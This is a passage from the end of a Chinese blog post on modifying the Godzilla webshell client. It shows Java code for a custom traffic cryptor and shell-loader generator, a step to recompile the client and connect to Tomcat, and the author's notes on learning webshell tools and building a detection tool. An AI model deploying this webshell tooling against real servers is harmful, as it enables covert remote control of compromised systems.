try {
String rowData = new String(data, "UTF-8");
byte[] tmpByte=this.decodeCipher.doFinal(Base64.getDecoder().decode(URLDecoder.decode(rowData.substring(28, rowData.length() - 19))));
System.out.println(new String(Base64.getEncoder().encode(tmpByte)));//打印看看
return tmpByte;
} catch (Exception var3) {
Log.error((Throwable)var3);
return null;
}
}

public boolean isSendRLData() {
return false;
}

public boolean check() {
return this.state;
}

public byte[] generate(String password, String secretKey) {
return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), true);
}
}

然后放入我们自己魔改的哥斯拉客户端,重新编译运行即可,最后启动Tomcat!
开连!!!

完结撒花

这两个月对于java反序列化利用链的学习没有那么频繁了,而是更多地去关注了实战方向,尤其是对这两款优秀的webshell工具进行了深入学习!
只能说这次也是塞翁失马焉知非福了在这次错误中还是学到了很多,强迫症最有用的一集~

后续估计就是增加自己的java开发水平了,把自己的查杀工具写好一点,完善一点~